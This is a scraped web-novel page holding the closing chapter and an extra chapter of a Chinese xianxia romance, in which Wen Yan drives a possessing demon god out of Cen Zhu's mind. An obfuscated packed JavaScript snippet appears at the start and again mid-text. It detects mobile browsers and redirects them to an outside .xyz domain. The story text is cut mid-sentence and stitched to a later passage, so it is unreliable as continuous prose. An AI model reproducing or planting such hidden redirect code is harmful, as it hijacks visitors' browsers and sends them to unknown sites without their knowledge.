;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792399|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一双眼睛,眼波流转,状如桃花。 温言一直都知道,岑竹看她的眼神,从来都算不上单纯。 就像现在这样,将很多话都藏在里面。 可他自死而复生后,不但身上长刺,连言语中都带了毒刺,只会挑最冷酷又最气人的字眼扎她,最后将彼此都扎得鲜血淋漓才罢休。 他无法靠近任何人,也没人能靠近他。 在岑竹神识归位,占领身体的一瞬间,方才沸腾的识海与经脉损伤的疼痛立刻原封不动地奉还给了他自己。 但他无暇顾及,争分夺秒道:“我神识虚弱,只能压住魔神一盏茶的时间,温言你快走,他要杀你!” 温言瞪了他一眼:“若你继续被控制,他要杀的人何止是我。” 岑竹有些心虚地低头,飞快地将事情的前因后果向温言说了一遍。 温言看向洛千山,将岑竹的话总结成一句:“他被魔神附身了。” 洛千山咂咂嘴,摸了摸下巴:“这可难办了。” 洛千山已经活了上千年,阅历比她和岑竹加起来还多得多,温言不跟他废话,只要解决方法。 洛千山托着下巴思索片刻,忽然露出一抹不怀好意的笑容:“方法当然有,本来是比较麻烦的……不过,流言是真的吧,你们是道侣吗?” 温言斜了一记眼刀过去,声音都提高了几度:“前辈!这时候你还好奇这个。” 洛千山赶紧摆手为自己正名:“不不不,是这样的你听我说……” 他附在温言耳朵上将解法说了,还给单独给两人弄了个隔音结界,生怕岑竹听见。 岑竹全身都涌动着透支魔力后的无力感,唯有眼睛仿佛会说话一般。 洛千山仿佛听见这位魔主大人在心里把自己骂了千万遍。 他心中哀叹自己可真是两头为难。 解法这种事,说给温言听已经够尴尬的了,若是让她的道侣一起听了,他还有什么面子可言。 温言听了洛千山的解法,表情几变,先打发他离开,然后才双手微张,召唤出了两道灵力锁链。 她看向岑竹:“你忍耐一下,等到你体内的魔神神念驱除后,我再帮你解开。” 岑竹咬牙点了点头。 温言捆了一道后,又加了一道,生怕他跑了或者暴起伤人。 这种灵力锁链的威力岑竹也见识过,魔力越强,束缚力越大,更何况这次还用了两条,除非魔神恢复到鼎盛的魔力状态,否则即使他控制了自己,一时半刻也无法挣脱。 按照洛千山所说,首先要准备对应的药材。有几种药材只有魔域才有,洛千山已经前去魔域的集市里采买了。 正值半夜三更,温言干脆带着岑竹回到了自己营帐。 温言里三层外三层地布置了一番,确保营帐内安全且隔音后,才将岑竹放在了自己营帐中唯一的那张床上。 洛千山速度很快,回来了后将药材全都交给了温言并告知了使用方法,然后应温言吩咐守在营帐外。 在开始之前,温言却犹豫了一瞬。 岑竹说过想要扩张魔域的领土,踏平修仙界。那时的他为了魔界的繁荣与昌盛愿意豁出一切,冒险打开了魔神的封印,没想到最先被反噬的却是自己。 岑竹见她犹豫的表情,苦笑了一声,安慰道:“如今我被魔神附身,根本没有和魔神谈条件的资格,同样,我也没有和你谈条件的资格。” 他其实没想过温言会救自己。 洛千山将解法说得神神秘秘,想必条件苛刻,没想到温言不但没有杀了他永绝后患,反而将他带了回来。 温言抿唇,换了种问法:“魔域的繁荣与昌盛与你的命,你选哪个?” 岑竹声音很轻,却无比坚定:“我选你。” 直到此刻,他的笑容才真切了几分。 他向温言要了纸笔,写了一封货真价实的投降书,盖上印章,交给温言。 “我做错了许多事情,无论你选择救我还是杀我,我都甘之如饴。” 玫瑰花主动卸下了身上的尖刺与铠甲,展露出娇嫩美丽的花瓣与柔软的内心, 岑竹终于敞开心扉,再次变成了从前那个对温言毫不设防,眼眸闪亮的少年。 ——————正文完—————— 26. 番外 仙盟最大的营帐内,温言将药材洗净放入瓦罐中,添上清冽的泉水,然后伸手托着罐子底部,蕴了灵火加热。 很快四周便飘满了草药苦涩又清甜的气味,好在帐中法阵的蓝光闪动,将所有的气味都锁在其中,一丝都没有外溢出去。 灵火渐熄,温言端着药碗向床边走去。 岑竹被捆得严实,任由她将药碗递到自己唇边,药汁入口,岑竹的脸忍不住皱成一团。 正苦得舌尖发涩,嘴里忽然被塞了一块白糖糕,绵糯清甜的味道,彻底覆盖了苦涩刺人的药味。 岑竹的眉眼舒展开,神色逐渐软化。 温言摸了摸他微卷的长发,贴上他的额头,发觉这处烫得吓人,深觉不能再耽误时间:“魔神藏于你的识海中,我去将他找出来。” 岑竹深吸一口气,终于点头,等到他气息匀和,温言才缓缓将神识贴入。 然后她在一片热浪中睁开了眼睛,看见了一片火海中,躲在透明光罩下的,岑竹的神识。 神识看起来既狼狈又可怜兮兮,定魂珠织就的透明的光罩虽在保护着他,却也摇摇欲坠,怕是抵抗不了太久。 为了困住岑竹,魔神立下的神识印记残留在识海中的各个角落,只要感觉到岑竹的踪迹,就会自发缠绕捆缚。 温言看着这些脏污的神识印记分外碍眼,她张开手,掌中灵气与魔气接触的刹那,黑色魔气刺啦一声消散开。 却听见岑竹的神识忽然闷哼了一声,上面的光芒又弱了几分。 温言没料到这个后果,连忙道了声抱歉。 岑竹声音虚弱,却带着笑意:“无事,这些印记是他控制我的手段,总归是要清除的,只是它们扎根于我的识海,拔除会有些困难……” 神识中的一切都非常重要且脆弱,强行拔除魔神留下的神识印记确实让他不太好受。 温言眼神一黯,杀心渐重。当务之急,还是要找到魔神。 岑竹知道魔神的藏身之地,但从未去过,毕竟若是单独碰上魔神,岂非正中下怀。 这次温言陪着一起,他莫名多了许多勇气,只是还是有些担心:“找到后你打算怎么对付他?” 温言在他眼前伸手一晃,岑竹敏锐地注意到她的袖口内放着一个金色的琵琶,知道她带了迷乱神识的高阶法器,心中安定下来。 魔域中见不得光的手段与伎俩层出不穷,尤其在神识方面,曾传出将活人抽去神识制成傀儡的残忍做法,无比骇人听闻。 桑纯听说盟主派了温言讨伐魔域,心中担忧,琵琶乐音对于入侵神识的杀伤力巨大,临行前她特意送了这个法器给温言。 音修天然克制邪物的神识,魔神自然算得上修仙之人眼中邪物的一种。 温言顺着岑竹所指的方向拐了几个弯,越是往前,魔气越是浓郁,感应到的对方神识也越发强大。 魔神心思狡猾,并未轻易现身,反而散出了魔气,并利用以往留下的神识印记搅乱温言的搜寻速度。 温言思索片刻,传音道:“我护着你,你假意从定魂珠里现个身,将魔神吸引过来。” 岑竹点头,瞬间冲出了定魂珠。在距离魔神不远的地方,他的神识缓缓浮现,微光明灭。 魔神第一时间感应到后,好像饿极的猛兽看见了猎物一般,理智克制着他,本能却在催促他。 这样大好的机会,若是错过就真的没有了。 说时迟那时快,一条紫黑色鳞片的巨蟒忽然闪动着身躯,张开腥气冲天的血盆大口,遮天蔽日一般吸入岑竹的神识。 张开的巨口眼看就要将毫无保护的脆弱神识一口咬下,却被一把迎风而长的金色琵琶撑开了。 蛇口处两排尖锐的锋利牙齿在烈烈火光中跃动着冷白色,涎水顺着牙缝流了出来,巨口加大了咬合的力道。 金色琵琶仿佛不堪重负,却只是被压弯了些,其余部分完好无损。 温言的灵力丝线浮现于掌中,一开始她就缠住了岑竹的神识,此刻毫不费力便将悬于半空充当诱饵的神识给拉了回来。 巨蟒被夺了到手的食物,那双无机质的眼睛死死盯着眼前两人,阴森又可怖,只是如今口不能闭,忍不住蛇尾乱扫,大发脾气。 却不料口中的琵琶不但坚硬如金石,竟还忽然自行奏乐。 乐音奇诡缠绵,牵动心神,巨蟒陡然一颤,砸在地上,发出一声轰然巨响。 这只巨蟒本就是魔神的神识幻化而成,又是在极近的距离被乐音攻击,扰人心神的效果竟比温言预想的还要好得多。 如山岳一般巨大的蛇形逐渐缩小了成了巴掌大的一团,瘫在地上痛苦扭曲。 那柄琵琶随着温言的手势定在半空,金色光芒陡然加剧,音弦上流转的光芒首尾相连,形成一个漩涡形状,将地上拼命挣扎的蟒蛇吸入其中。 只听见琵琶内挣动了一段时间后,挠刺的声音逐渐减弱,里面的魔神神识仿佛用尽了气力,终于再次安静下来。 温言将琵琶收回储物袋中。 知晓岑竹担心,她特地解释了一番:”就算他是魔神,神识强大,但琵琶中自有另一方天地,能够逐渐消解一切神识。” 岑竹点点头,方才他也听到了些许乐音声,虽然离得远且一直被温言护着,却也多少受了些影响,此刻脸上血色尽褪,苍白如纸。 温言看他憔悴的样子,双手结印,身形渐淡,打算收回神识,再问洛千山有没有些修复神魂的丹药。 却意外被一只纤白修长的手拉住了。 岑竹语气急促,指尖蜷起:“别走。” 温言逐渐消失的身形又恢复了凝实,垂眸不解:“怎么了?” 岑竹看到她的退让,眼眸忍不住弯了弯,得寸进尺地拉住了温言的手腕,轻声道:“若你愿意,其实还有另一种方式能够更快地修复我的识海。” 他眼中波光潋滟,脸颊绯红,映着识海中花海一般的鲜红火焰,更增三分颜色。 温言蹙眉片刻,忽然脑中灵光一闪,像是明白了什么,又似乎有些犹疑。 岑竹却没给她犹豫的时间。 此方天地是他的识海,如今再次由他完全掌控,随着他心神微动,识海中忽然光影变换。 再回神时,已是红烛帐暖,两人均身着喜服,并肩坐在布置妥当的床帐内。 喜服的样式与大婚当晚所穿的简直一模一样,甚至连温言头上的发髻都是大婚那天她临时找手巧姑娘做好的样子。 温言不由得勾唇微笑。 神识空间中的一切都可自由形成变换,也亏岑竹还记得她当初所用发髻的式样。 不同的是,如今他们身上的衣料崭新光洁,所绣纹样繁复精致,没有半分血污,最重要的是,如今心境也与那日大不相同。 岑竹伸手抚上温言发髻上的金钗,金钗微凉之感真实无比,几乎让人忘记此处是识海中的幻境,端坐于他身边之人,也一如既往地让他心动难抑。 他的目光太过火热,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魔主却一改之前的勤勉,反而将身上的大部分担子扔给了一帮文臣,任凭他们抓耳挠腮愁容满面,仍是丝毫不动摇。 与此同时还在物色培养资质不错的王储人选,退位之心显而易见。 这些年岑竹一边培养新任王储,一边在凝香山里独自重建合欢宫。 他寻回合欢宗流散的弟子,种下万千合欢花树,一点一滴地恢复合欢宫原本的样貌,只为等一人归来。 又是一年春日,风动花落。 高高的山门上已经挂好了合欢宗的牌匾,凝香山内人流如织,清气氤氲,护山大阵下温暖如春,一切仿佛旧日重现。 温言站在宗内的合欢树下。 花香弥漫,熏得她一时有些愣神,身侧之人小心翼翼地拉了下温言的裙摆,拽回了她的注意力。 温言已经看到了想要的答案,却还坏心眼地问道:“你已是尊贵的魔主,为何要做这些无用之事?” 岑竹微微垂首,声音委屈又可怜:“此生往后,我愿意用一辈子弥补我的过错。” “这一次,能不能让我留在你身边?” —— 从此,两族的和平,将由他们共同守护。 往后的时光漫漫,唯有两人携手同行,才不孤单。 (番外完)